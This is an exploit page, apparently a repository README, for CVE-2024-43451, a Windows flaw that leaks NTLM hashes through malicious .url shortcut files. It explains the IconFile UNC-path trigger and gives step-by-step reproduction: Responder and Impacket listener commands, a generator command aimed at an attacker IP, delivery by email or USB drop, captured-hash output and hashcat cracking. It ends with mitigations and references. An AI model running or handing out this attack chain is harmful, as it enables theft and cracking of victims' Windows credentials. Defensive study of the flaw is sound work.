## https://sploitus.com/exploit?id=EB730536-C39F-5458-A596-A97DC463A112
# CVE-2024-43451 โ Windows NTLM Hash Disclosure Spoofing Vulnerability
## Overview
CVE-2024-43451 is an NTLMv2 hash disclosure spoofing vulnerability in Windows. It allows an unauthenticated remote attacker to leak a victim's NTLM hash by convincing them to interact with a malicious `.url` shortcut file. The vulnerability is triggered with minimal user interaction โ merely right-clicking, deleting, or moving the file is sufficient to leak the hash. It carries a CVSS score of 6.5 (Medium) and has been actively exploited in the wild. CISA added it to the Known Exploited Vulnerabilities (KEV) catalog.
## Technical Details
### NTLM Authentication
NTLM (NT LAN Manager) is a challenge-response authentication protocol used by Windows. When a client attempts to access a resource via SMB, the client and server perform a handshake:
1. The client sends a `NEGOTIATE_MESSAGE` containing supported capabilities.
2. The server responds with a `CHALLENGE_MESSAGE` containing an 8-byte nonce (server challenge).
3. The client responds with an `AUTHENTICATE_MESSAGE` containing the NTLMv2 hash โ an HMAC-MD5 of the challenge combined with the user's password hash, username, and domain.
If an attacker can observe or trigger an NTLM authentication attempt to a machine they control, the captured `AUTHENTICATE_MESSAGE` can be cracked offline to recover the plaintext password.
### .url File Format
A `.url` file is a shortcut file used by Internet Explorer and Windows Explorer to store links. It is an INI-formatted file with an `[InternetShortcut]` section. The critical fields for exploitation are:
- `URL=` โ the target URL that Windows will open.
- `IconFile=` โ an optional UNC path to an icon resource. When Windows Explorer renders the file, it **automatically attempts to retrieve the icon** from the remote share, triggering an NTLM authentication attempt to the attacker's server.
### Attack Vector
The attacker crafts a `.url` file with an `IconFile` parameter pointing to `\\attacker-ip\share\icon.ico`. When the victim:
- **Right-clicks** the file (Windows Explorer fetches the icon for the context menu),
- **Moves or copies** the file (icon is re-read), or
- **Deletes** the file (icon is fetched for the recycle bin dialog),
Windows Explorer attempts to load the icon from the UNC path, sending the victim's NTLMv2 hash to the attacker's SMB listener (e.g., Responder).
## Affected Versions
All supported versions of Windows prior to the November 2024 Patch Tuesday update:
- Windows 10 (all versions)
- Windows 11
- Windows Server 2016 / 2019 / 2022 / 2025
- Windows Server 2008 / 2012 R2
- Older unsupported versions are also likely vulnerable but will not receive patches.
## Exploitation Setup
### Requirements
- **Attacker machine**: Linux or Windows with an SMB capture tool (e.g., Responder, Impacket's smbserver, or Inveigh).
- **Victim machine**: Any unpatched Windows system.
- **Network access**: The victim must be able to reach the attacker's IP on port 445 (SMB).
### Tools
| Tool | Description |
|------|-------------|
| [Responder](https://github.com/lgandx/Responder) | LLMNR/NBT-NS/mDNS poisoner with built-in SMB server for hash capture |
| [Impacket](https://github.com/fortra/impacket) | `smbserver.py` can be used to host a simple SMB share |
| [Inveigh](https://github.com/Kevin-Robertson/Inveigh) | PowerShell-based NTLM capture tool for Windows |
## Reproduction Steps
### 1. Start the SMB listener (attacker machine)
Using Responder:
```bash
sudo responder -I eth0 -v
```
Or using Impacket:
```bash
sudo impacket-smbserver share . -smb2support
```
### 2. Generate the malicious .url file
```bash
python exploit.py --ip 192.168.1.100 --output malicious.url
```
### 3. Deliver the file to the victim
- Email attachment, USB drop, file share, or web download.
### 4. Victim interaction
Any of the following actions triggers the hash leak:
- Right-click โ the icon is fetched for the context menu โ NTLM handshake sent to attacker
- Delete โ the icon is fetched for the confirmation dialog
- Move/Copy โ the icon is re-read from the UNC path
- Simply viewing the folder in **Details** or **Icons** view (icon loading)
### 5. Capture the hash
The attacker's SMB listener receives an NTLMv2 hash:
```
[SMB] NTLMv2-SSP Hash : victim::DOMAIN:1122334455667788:0123456789abcdef0123456789abcdef:010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
```
### 6. Crack the hash (offline)
```bash
hashcat -m 5600 captured.txt /usr/share/wordlists/rockyou.txt
```
## Proof of Concept
```python
# See exploit.py in this repository for a full PoC implementation.
# The script generates a .url file with IconFile set to:
# \\192.168.1.100\share\icon.ico
# and optionally a custom display icon via IconIndex.
```
## Mitigation
| Mitigation | Description |
|------------|-------------|
| **Apply November 2024 Patch** | Install Microsoft's security update from [KB5044285](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43451) |
| **Block outbound SMB (port 445)** | Prevent NTLM hashes from leaving the network perimeter |
| **Disable NTLM where possible** | Use Kerberos-only authentication |
| **Enable SMB signing** | Prevents relay attacks even if hashes are captured |
| **User awareness training** | Educate users not to interact with unexpected `.url` files |
| **Restrict .url file handling** | Use Group Policy to block .url file execution or delivery via email |
## References
- [Microsoft Security Response Center โ CVE-2024-43451](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43451)
- [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- [NVD โ CVE-2024-43451](https://nvd.nist.gov/vuln/detail/CVE-2024-43451)
- [Responder โ GitHub](https://github.com/lgandx/Responder)
- [Impacket โ GitHub](https://github.com/fortra/impacket)
- [The Hacker News โ Ukrainian targeted attacks](https://thehackernews.com)
- [UAC-0194 / SparkRAT campaign analysis](https://cert.gov.ua)